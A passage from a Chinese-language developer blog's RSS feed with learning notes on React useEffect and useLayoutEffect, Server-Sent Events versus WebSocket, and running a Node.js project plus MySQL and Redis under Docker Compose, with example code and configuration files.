</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">isEqual</span><span class="p">(</span><span class="nx">aDeps</span><span class="p">,</span> <span class="nx">bDeps</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="kr">const</span> <span class="nx">createDeepCompareEffect</span><span class="o">:</span> <span class="nx">CreateUpdateEffect</span> <span class="o">=</span> <span class="p">(</span><span class="nx">hook</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">(</span><span class="nx">effect</span><span class="p">,</span> <span class="nx">deps</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">ref</span> <span class="o">=</span> <span class="nx">useRef</span><span class="o">&lt;</span><span class="nx">DependencyList</span><span class="o">&gt;</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">signalRef</span> <span class="o">=</span> <span class="nx">useRef</span><span class="o">&lt;</span><span class="nx">number</span><span class="o">&gt;</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 本地更新的依赖值与缓存的依赖深比较
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="nx">deps</span> <span class="o">===</span> <span class="kc">undefined</span> <span class="o">||</span> <span class="o">!</span><span class="nx">depsEqual</span><span class="p">(</span><span class="nx">deps</span><span class="p">,</span> <span class="nx">ref</span><span class="p">.</span><span class="nx">current</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 将依赖保存一份
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">ref</span><span class="p">.</span><span class="nx">current</span> <span class="o">=</span> <span class="nx">deps</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 如果发现变更，则改变signalRef的值，是为了触发真正的useEffect
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">signalRef</span><span class="p">.</span><span class="nx">current</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">hook</span><span class="p">(</span><span class="nx">effect</span><span class="p">,</span> <span class="p">[</span><span class="nx">signalRef</span><span class="p">.</span><span class="nx">current</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="报错useeffect-is-called-conditionally">报错：<code>useEffect</code> is called conditionally</h2>
<p>完整报错如下:</p>
<blockquote>
<p>React Hook &ldquo;useEffect&rdquo; is called conditionally. React Hooks must be called in the exact same order in every component render.  react-hooks/rules-of-hooks</p>
</blockquote>
<p>解决方法很简单，只需将useEffect调用移动到组件的顶层，并使用条件语句来决定是否执行其内部的逻辑即可。</p>
<hr>
<h2 id="useeffect-执行时机">useEffect 执行时机</h2>
<ol>
<li>當元件被加入時 (mount)，useEffect 會被第一次執行。</li>
<li>當每次元件重新渲染時，如果 dependencies 的值有改變，先將舊的 props 和 state 執行 cleanup function，再帶著新的 props 和 state 執行 setup function。</li>
<li>cleanup function 的程式碼，會在元件生命週期結束 (unmount) 時，執行最後一次。</li>
</ol>
<hr>
<h2 id="uselayouteffect">useLayoutEffect</h2>
<h3 id="概念-3">概念</h3>
<ul>
<li>执行时机: 在浏览器重绘 (repaints) 前執行,区别于<code>useEffect</code>,在浏览器完成布局与绘制之后，在一个延迟事件中被调用</li>
<li>可能會造成性能的問題。 因為在 useLayoutEffect 里的程序會阻礙瀏覽器重繪 (repaints) ，太頻繁使用可能會造成整個應用程式緩慢</li>
</ul>
<h3 id="示例">示例</h3>
<ul>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">useEffect</span><span class="p">,</span> <span class="nx">useLayoutEffect</span><span class="p">,</span> <span class="nx">useState</span> <span class="p">}</span> <span class="nx">from</span> <span class="s2">&#34;react&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="kd">function</span> <span class="nx">App</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">count</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="kr">const</span> <span class="nx">randomNum</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">+</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="nx">setCount</span><span class="p">(</span><span class="nx">randomNum</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">count</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="o">&lt;</span><span class="nx">div</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;</span> <span class="nx">setCount</span><span class="p">(</span><span class="mi">0</span><span class="p">)}</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/div&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>解释
<ul>
<li>原因是，當你每次點擊 div，此時 count 會被更新為 0，畫面會重新渲染變為 0，同時，因為 count 被更新，也會觸發 useEffect 執行。所以在重繪完成之後， useEffect 執行並把 count 更新為另一串隨機數字，畫面也會再渲染一次，因為兩次渲染時間很快，所以造成閃爍。</li>
<li>假設我們把上方程式碼的 useEffect 換成 useLayoutEffect，當你每次點擊 div，此時 count 會被更新為 0，但這時，畫面不會被重新渲染變為 0，而是先等待 useLayoutEffect 內的程式碼執行完畢之後，state 已經更新為新的隨機數字，這時畫面才進行重繪。</li>
</ul>
</li>
</ul>
<h3 id="使用场景">使用场景</h3>
<ul>
<li>
<p>設計一個工具提示元件 (tooltip)，它會依照不同條件出現在某元素的上方、下方或旁邊，這種設計條件代表說，我們會需要知道此元素準確的高度位置，才能判斷要將 tooltip 顯示在哪裡。</p>
</li>
<li>
<p>此时React的渲染步驟可以拆分為下</p>
<ol>
<li>在任何地方渲染 Tooltip (即使位置不正確)</li>
<li>測量元素的高度，並決定放置 Tooltip 的位置</li>
<li>重新渲染畫面，這時 Tooltip 的位置才會是正確的</li>
<li>如果是使用 useEffect 的話，Tooltip 的位置，可能是從 0 變到 10 的位置，這會造成畫面閃爍、使用者體驗不佳，如果是使用 useLayoutEffect，React 則會在重繪前，就重新計算正確的位置，才渲染畫面。</li>
</ol>
</li>
</ul>
<hr>
<h2 id="参考-2">参考</h2>
<ul>
<li><a href="https://overreacted.io/a-complete-guide-to-useeffect/"  target="_blank" rel="noopener" >A Complete Guide to useEffect — overreacted</a></li>
<li><a href="https://devpress.csdn.net/react/62f64ea5c6770329307fc5f1.html"  target="_blank" rel="noopener" >Source code interpretation of React useEffect_javascript_rAc-React</a></li>
<li><a href="https://www.explainthis.io/zh-hant/swe/use-effect-vs-use-layout-effect"  target="_blank" rel="noopener" >請解釋 useEffect？與 useLayoutEffect 的區別？｜ExplainThis</a></li>
<li><a href="https://juejin.cn/post/7240600121208504375"  target="_blank" rel="noopener" >源码级层面角度剖析React中useEffect - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>sse学习笔记</title>
      <link>https://ds63.eu.org/2024/learn_sse/</link>
      <pubDate>Tue, 30 Jul 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn_sse/</guid>
      <description>适合的技术才是最好的技术</description>
      <content:encoded><![CDATA[<h2 id="声明">声明</h2>
<p>本文是我学习sse(Server-Sent Events)的笔记，内容大部分是对我所读文章的摘抄，非我原创。具体出处参见<a href="#%e5%8f%82%e8%80%83" >参考链接</a>。</p>
<hr>
<h2 id="什么是-server-sent-events">什么是 Server-Sent Events</h2>
<ol>
<li>首先是服务器端向客户端声明，然后接下来发送的是流信息(text/eventStream)。换句话说，此时发送的不是一个一次性的数据包，而是以数据流的形式不断地发送过来，</li>
<li>在这种情况下，<strong>客户端不会</strong>关闭连接，会一直等着服务器端发送新的数据过来</li>
<li>消息的基本格式: <code>[field]: value\n</code></li>
</ol>
<hr>
<h2 id="对比">对比</h2>
<table>
<thead>
<tr>
<th>sse</th>
<th>websocket</th>
</tr>
</thead>
<tbody>
<tr>
<td>http协议</td>
<td>独立的websocket协议</td>
</tr>
<tr>
<td>轻量，使用简单</td>
<td>相对复杂</td>
</tr>
<tr>
<td>默认支持断线重连</td>
<td>需要自己实现断线重连</td>
</tr>
<tr>
<td>单工</td>
<td>双工</td>
</tr>
<tr>
<td>文本传输</td>
<td>二进制传输</td>
</tr>
<tr>
<td>支持自定义发送的消息类型</td>
<td>-</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="缺陷">缺陷</h2>
<ul>
<li>浏览器原生的EventSource API不支持自定义请求头</li>
<li><a href="https://dev.to/miketalbot/server-sent-events-are-still-not-production-ready-after-a-decade-a-lesson-for-me-a-warning-for-you-2gie"  target="_blank" rel="noopener" >Server Sent Events are still not production ready after a decade. A lesson for me, a warning for you! - DEV Community</a></li>
</ul>
<p>&ndash;</p>
<h2 id="示例代码">示例代码</h2>
<ul>
<li>参考:
<ul>
<li><a href="https://www.youtube.com/watch?v=GXGFCXn9Hak&amp;ab_channel=Covalence"  target="_blank" rel="noopener" >Using fetch with server-sent events - YouTube</a></li>
<li><a href="https://github.com/covalence-io/sse-fetch"  target="_blank" rel="noopener" >covalence-io/sse-fetch</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="问题与排查">问题与排查</h2>
<h3 id="问题一">问题一</h3>
<ul>
<li>问题描述: 浏览器原生的EventSource API不支持自定义请求头</li>
<li>排查:
<ol>
<li>查阅<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web API | MDN</a>，似乎只提供<code>withCredentials</code>一个选项，但又声明是表示 EventSource 对象是否使用跨源资源共享（CORS）凭据来实例化（true），或者不使用（false，即默认值）。</li>
<li>转而使用<a href="https://github.com/Azure/fetch-event-source"  target="_blank" rel="noopener" >Azure/fetch-event-source: A better API for making Event Source requests, with all the features of fetch()</a></li>
<li>readme中提到了原生的EventSource API的几个缺点:
<blockquote>
<ul>
<li>You cannot pass in a request body: you have to encode all the information necessary to execute the request inside the URL, which is limited to 2000 characters in most browsers.</li>
<li>You cannot pass in custom request headers</li>
<li>You can only make GET requests - there is no way to specify another method.</li>
<li>If the connection is cut, you don&rsquo;t have any control over the retry strategy: the browser will silently retry for you a few times and then stop, which is not good enough for any sort of robust application.</li>
</ul>
</blockquote>
</li>
</ol>
</li>
<li>参考： <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web APIs | MDN</a></li>
</ul>
<h3 id="问题二">问题二</h3>
<ul>
<li>问题: 部署后发现浏览器端无法收到消息</li>
<li>排查：
<ol>
<li>网络问题? 算了下距离，一条消息从生成到被接收要绕地球至少一圈，加上国内糟糕的网络环境，消息接收肯定会有延时，但也不至于一条都收不到。</li>
<li>s3或cloud front设置问题? 对比之前的配置也没发现什么异常，无果</li>
<li>最终排查到nginx配置问题，搜到<a href="https://stackoverflow.com/questions/13672743/eventsource-server-sent-events-through-nginx"  target="_blank" rel="noopener" >ruby - EventSource / Server-Sent Events through Nginx - Stack Overflow</a>，</li>
</ol>
</li>
</ul>
<h3 id="问题三">问题三</h3>
<ul>
<li><a href="https://dev.to/miketalbot/server-sent-events-are-still-not-production-ready-after-a-decade-a-lesson-for-me-a-warning-for-you-2gie"  target="_blank" rel="noopener" >Server Sent Events are still not production ready after a decade. A lesson for me, a warning for you! - DEV Community</a></li>
</ul>
<h3 id="问题四">问题四</h3>
<ul>
<li><a href="https://github.com/Azure/fetch-event-source/issues/84"  target="_blank" rel="noopener" >Can&rsquo;t close <code>fetchEventSource</code> with <code>AbortController</code> in React · Issue #84 · Azure/fetch-event-source</a></li>
</ul>
<h3 id="问题五">问题五</h3>
<ul>
<li>
<p><strong>问题描述</strong>: 多开了几个页面后，页面的sse连接似乎被卡死。</p>
</li>
<li>
<p>排查:</p>
<ol>
<li>开始的时候以为是后端代码的问题，排查无果。</li>
<li>后来发现可能和设置的选项<code>openWhenHiden:true</code>有关</li>
<li>然后又试了不同浏览器，发现不同浏览器卡死的页面上限又不同。于是才定位到是浏览器问题。</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web API | MDN</a>上是这样解释的
<blockquote>
<p>当不使用 HTTP/2 时，服务器发送事件（SSE）受到打开连接数的限制，这个限制是对于浏览器的，并且设置为非常低的数字（6），打开多个选项卡时可能会特别痛苦。在 Chrome 和 Firefox 中，这个问题已被标记为“不会修复”。</p>
</blockquote>
</li>
</ol>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://stackoverflow.com/questions/18584525/server-sent-events-and-browser-limits"  target="_blank" rel="noopener" >javascript - Server sent events and browser limits - Stack Overflow</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web API | MDN</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="为什么不使用websocket">为什么不使用WebSocket</h2>
<p>以下内容均摘自<a href="https://www.zhihu.com/question/417163973/answer/3352111081"  target="_blank" rel="noopener" >为什么当今Web应用不都采用WebSocket形式进行数据交互？ - 知乎</a></p>
<ul>
<li><a href="https://www.zhihu.com/question/417163973/answer/3028379203"  target="_blank" rel="noopener" >龙背上的骑兵的回答 - 知乎</a>
<ul>
<li>成本高
<blockquote>
<p>websocket要想实现水平扩展就很复杂，因为websocke的场景一般都是双向通信，当数据库发生变更了，此时需要向客户端推送数据，要想推送数据，则必须知道和当前的客户端建立的websocket机器是哪个，然后向这台机器上的服务发送通知。所以一个多台机器的websocket服务，必须要搭配一个消息订阅服务（例如购买一个HA的redis的集群），而rest服务器则不需要。所以websocket成本更高。除非你不考虑水平扩展，只使用单台机器。</p>
</blockquote>
</li>
<li>没必要
<blockquote>
<p>一般情况下，客户端能在秒级内刷新数据，已经让用户感觉很实时了，这种使用rest轮训一样可以做到，性能更好，websocket则因为实时性过高，产生过多数据，消耗过多带宽。使用轮询，客户端和服务端的带宽是固定的，服务器可以合并2s内的事件统一发给客户端，流量为r。（假设通信一次数据量是固定的，为r），那么n个客户端2s内对服务器的总流量负载为 n * r.使用websocket,每个客户端都会实时发送信息，服务端收到之后都要实时广播给其他所有人，同样一次流量为r, 客户端为n 的情况下，服务器的流量总负载为:  n ^ 2 * r 。 所以websocket服务每增加一个客户端，服务器负载快速上升。一般都会通过限制一个文档内同时在线数量来避免。</p>
</blockquote>
</li>
</ul>
</li>
<li><a href="https://www.zhihu.com/question/417163973/answer/3352111081"  target="_blank" rel="noopener" >2到8个汉字的回答 - 知乎</a>提到了个<a href="https://developer.mozilla.org/en-US/docs/Web/API/WebTransport"  target="_blank" rel="noopener" >WebTransport - Web APIs | MDN</a></li>
</ul>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://www.youtube.com/watch?v=GXGFCXn9Hak&amp;ab_channel=Covalence"  target="_blank" rel="noopener" >Using fetch with server-sent events - YouTube</a></li>
<li><a href="https://github.com/covalence-io/sse-fetch"  target="_blank" rel="noopener" >covalence-io/sse-fetch</a></li>
<li><a href="https://github.com/Azure/fetch-event-source"  target="_blank" rel="noopener" >Azure/fetch-event-source: A better API for making Event Source requests, with all the features of fetch()</a></li>
<li><a href="https://spring.hhui.top/spring-blog/2020/04/01/200401-SpringBoot%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B%E4%B9%8BSSE%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%8F%91%E9%80%81%E4%BA%8B%E4%BB%B6%E8%AF%A6%E8%A7%A3/"  target="_blank" rel="noopener" >【WEB系列】SSE服务器发送事件详解 | 一灰灰Blog</a></li>
<li><a href="https://blog.yuanpei.me/posts/3175881014/"  target="_blank" rel="noopener" >基于 Server-Sent Events 实现服务端消息推送 - 元培的元视角</a></li>
<li><a href="https://dev.to/miketalbot/server-sent-events-are-still-not-production-ready-after-a-decade-a-lesson-for-me-a-warning-for-you-2gie"  target="_blank" rel="noopener" >Server Sent Events are still not production ready after a decade. A lesson for me, a warning for you! - DEV Community</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web APIs | MDN</a></li>
<li><a href="https://rathoreaparna678.medium.com/understanding-server-sent-events-with-node-js-652f8a3c3826"  target="_blank" rel="noopener" >使用 Node.js 了解服务器发送的事件 |通过 阿帕娜·拉索尔 |中等的 &mdash; Understanding Server-Sent Events With Node.js | by Aparna Rathore | Medium</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Use_Nodejs_in_Docker</title>
      <link>https://ds63.eu.org/2024/use_nodejs_in_docker/</link>
      <pubDate>Wed, 17 Jul 2024 13:13:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/use_nodejs_in_docker/</guid>
      <description>docker-compose is awesome</description>
      <content:encoded><![CDATA[<h2 id="需求">需求</h2>
<ol>
<li>在nas的docker运行我的node项目</li>
<li>使用<code>docker compose up -d</code>来启动</li>
<li>首次运行时，它将先执行<code>npm install</code>,然后 <code>npx prisma generate</code>,最后是<code>node --env-file=.env bin/www</code></li>
<li>非首次运行，则直接执行<code>node --env-file=.env bin/www</code></li>
<li>出错时不立即退出，而是可以进入容器中</li>
<li>将代码每天从某台电脑同步到nas中</li>
<li>docker能感应到代码的变化</li>
</ol>
<h2 id="对docker中运行的node项目debug">对docker中运行的node项目debug</h2>
<ul>
<li><code>node --env-file=.env --inspect-brk=0.0.0.0 bin/www</code></li>
<li>默认的端口号是&quot;<code>9229</code>,记得publish端口<code>- &quot;9229:9229&quot;</code></li>
<li>在<a href="chrome://inspect/#devices" >chrome://inspect/#devices</a> 对 Target discovery settings进行设置：<code>ip:92229</code></li>
</ul>
<h2 id="promblem--solution">Promblem &amp; Solution</h2>
<ul>
<li><a href="https://stackoverflow.com/questions/73022976/bus-error-when-running-npm-run-dev-npm-start"  target="_blank" rel="noopener" >node.js - Bus Error when running npm run dev || npm start - Stack Overflow</a></li>
<li><a href="https://stackoverflow.com/questions/15809611/bcrypt-invalid-elf-header-when-running-node-app"  target="_blank" rel="noopener" >node.js - bcrypt invalid elf header when running node app - Stack Overflow</a></li>
<li><a href="https://stackoverflow.com/questions/30063907/docker-compose-how-to-execute-multiple-commands"  target="_blank" rel="noopener" >Docker Compose - How to execute multiple commands? - Stack Overflow</a></li>
<li><a href="https://stackoverflow.com/questions/48719921/pull-access-denied-repository-does-not-exist-or-may-require-docker-login"  target="_blank" rel="noopener" >ubuntu 16.04 - pull access denied repository does not exist or may require docker login - Stack Overflow</a></li>
</ul>
<h2 id="dockerfile--composeyml">Dockerfile + compose.yml</h2>
<p><code>compose.yml</code>示例:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">services:
</span></span><span class="line"><span class="cl">  server:
</span></span><span class="line"><span class="cl">    build:
</span></span><span class="line"><span class="cl">      context: .
</span></span><span class="line"><span class="cl">      target: dev
</span></span></code></pre></div><p>定义了一个名为 <code>server</code> 的服务，并且指定了如何构建该服务的 Docker 镜像。</p>
<ul>
<li><code>build</code> 指令表明这个服务需要从当前目录（<code>.</code>）构建镜像，而不是从 Docker Hub 上拉取现成的镜像。</li>
<li><code>context: .</code> 指示 <code>docker-compose</code> 使用当前目录作为构建上下文。这意味着 <code>docker-compose</code> 会将当前目录中的所有文件和目录传递给 Dockerfile。</li>
<li><code>target: dev</code> 指示 <code>docker-compose</code> 使用 Dockerfile 中名为 <code>dev</code> 的构建阶段。Dockerfile 支持多阶段构建，每个阶段定义一个构建目标。使用 <code>target</code> 指令可以指定使用哪个构建阶段。</li>
</ul>
<p>后面我放弃了这样的组合，因为Dockerfile写起来总是有些问题，我一时找不到解决方法。</p>
<p>更关键的是：我并不需要将构建好的镜像上传到其他地方。我在nas上使用docker，最主要的是为了docker所提供的纯净环境。</p>
<p>最后我的选择还是用<code>compose.yml</code>来做</p>
<h2 id="composeyml-示例">compose.yml 示例</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">services:
</span></span><span class="line"><span class="cl">  backend:
</span></span><span class="line"><span class="cl">    container_name: backend-container
</span></span><span class="line"><span class="cl">    image: node:20
</span></span><span class="line"><span class="cl">    working_dir: /app
</span></span><span class="line"><span class="cl">    volumes:
</span></span><span class="line"><span class="cl">      - ./:/app
</span></span><span class="line"><span class="cl">    <span class="c1"># if you want to keep the container running and debug, you can use the following command</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#command: tail -f /dev/null</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># then use docker exec -it backend-container bash</span>
</span></span><span class="line"><span class="cl">    command: <span class="o">[</span><span class="s2">&#34;sh&#34;</span>, <span class="s2">&#34;-c&#34;</span>, <span class="s2">&#34;if [ ! -d &#39;node_modules&#39; ]; then npm install &amp;&amp; npx prisma generate; fi &amp;&amp; node --env-file=.env bin/www&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">    ports:
</span></span><span class="line"><span class="cl">      - <span class="s2">&#34;3000:3000&#34;</span>
</span></span><span class="line"><span class="cl">      - <span class="s2">&#34;9229:9229&#34;</span>
</span></span><span class="line"><span class="cl">    environment:
</span></span><span class="line"><span class="cl">      - <span class="nv">NODE_ENV</span><span class="o">=</span>development
</span></span><span class="line"><span class="cl">    restart: unless-stopped
</span></span><span class="line"><span class="cl">    tty: <span class="nb">true</span>
</span></span></code></pre></div><h2 id="参考">参考</h2>
<ul>
<li><a href="https://hub.docker.com/_/node"  target="_blank" rel="noopener" >node - Official Image | Docker Hub</a></li>
<li><a href="https://nodejs.org/en/learn/getting-started/debugging"  target="_blank" rel="noopener" >Node.js — Debugging Node.js</a></li>
<li><a href="https://docs.docker.com/compose/compose-file/build/"  target="_blank" rel="noopener" >Compose Build Specification | Docker Docs</a></li>
<li><a href="https://docs.docker.com/language/nodejs/containerize/"  target="_blank" rel="noopener" >Containerize a Node.js application | Docker Docs</a></li>
<li><a href="https://stackoverflow.com/questions/73022976/bus-error-when-running-npm-run-dev-npm-start"  target="_blank" rel="noopener" >node.js - Bus Error when running npm run dev || npm start - Stack Overflow</a></li>
<li><a href="https://stackoverflow.com/questions/15809611/bcrypt-invalid-elf-header-when-running-node-app"  target="_blank" rel="noopener" >node.js - bcrypt invalid elf header when running node app - Stack Overflow</a></li>
<li><a href="https://stackoverflow.com/questions/30063907/docker-compose-how-to-execute-multiple-commands"  target="_blank" rel="noopener" >Docker Compose - How to execute multiple commands? - Stack Overflow</a></li>
<li><a href="https://stackoverflow.com/questions/48719921/pull-access-denied-repository-does-not-exist-or-may-require-docker-login"  target="_blank" rel="noopener" >ubuntu 16.04 - pull access denied repository does not exist or may require docker login - Stack Overflow</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Use mysql and redis in Docker</title>
      <link>https://ds63.eu.org/2024/mysql_redis_in_one_docker/</link>
      <pubDate>Sat, 13 Jul 2024 13:13:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/mysql_redis_in_one_docker/</guid>
      <description>docker-compose is awesome</description>
      <content:encoded><![CDATA[<h2 id="docker">Docker</h2>
<ol>
<li>
<p>View running containers
<code>docker ps</code></p>
</li>
<li>
<p>View all containers
<code>docker ps -a</code></p>
</li>
<li>
<p>View container configuration
<code>docker inspect container-name</code></p>
</li>
<li>
<p>View container logs
<code>docker logs container-name</code></p>
</li>
<li>
<p>Display all images
<code>docker image ls</code></p>
</li>
<li>
<p>Remove a container
<code>docker rm container-name</code></p>
</li>
<li>
<p>Remove an image
<code>docker rmi imagename</code></p>
</li>
<li>
<p>removes any unused containers
<code>docker system prune -a</code></p>
</li>
<li>
<p>removes any unused volumes
<code>docker volume prune</code></p>
</li>
</ol>
<h3 id="docker-compose">docker-compose</h3>
<p><strong>cd into the directory where contains docker-compose.yml first!</strong></p>
<ul>
<li><code>docker-compose up -d</code></li>
<li><code>docker-compose down</code></li>
</ul>
<hr>
<h2 id="mysql">Mysql</h2>
<ul>
<li>You can then connect to the server using <code>mysql</code>, just as you connect to any Mysql instance: <code>mysql -h ip -u username -p</code></li>
<li>If you don’t have mysql installed locally, you can run it from the Docker container: <code>docker exec -it mysql_container bash</code></li>
<li>check version: <code>mysql&gt; SELECT VERSION();</code></li>
</ul>
<hr>
<h2 id="redis">Redis</h2>
<ul>
<li>If you <strong>have</strong> redis-cli installed locally,you can then connect to the server using <code>redis-cli</code>, just as you connect to any Redis instance: <code>redis-cli -h ip -a &lt;password&gt;</code>
<ul>
<li>To specify a different host name or an IP address, use the<code>-h</code>option</li>
<li>To set a different port, use<code>-p</code></li>
<li><code>-a</code> <!-- raw HTML omitted --></li>
</ul>
</li>
<li>If you <strong>don’t have</strong> redis-cli installed locally, you can run it from the Docker container: <code>$ docker exec -it redis_container bash</code></li>
<li>check server info: <code>info server</code></li>
<li>check module: <code>module list</code></li>
</ul>
<hr>
<h2 id="docker-composeyml">docker-compose.yml</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-docker-compose.yml" data-lang="docker-compose.yml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">mysql</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">mysql:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">mysql_container</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">MYSQL_ROOT_PASSWORD</span><span class="p">:</span><span class="w"> </span><span class="l">&lt;password&gt;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">MYSQL_DATABASE</span><span class="p">:</span><span class="w"> </span><span class="l">database_name</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">MYSQL_USER</span><span class="p">:</span><span class="w"> </span><span class="l">username</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">MYSQL_PASSWORD</span><span class="p">:</span><span class="w"> </span><span class="l">&lt;password&gt;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;3306:3306&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span>--<span class="l">default-authentication-plugin=mysql_native_password --bind-address=0.0.0.0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">mysql_data:/var/lib/mysql</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">redis</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">redis/redis-stack:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">redis_container</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;redis-stack-server&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;--requirepass&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;&lt;password&gt;&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;--bind&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;0.0.0.0&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
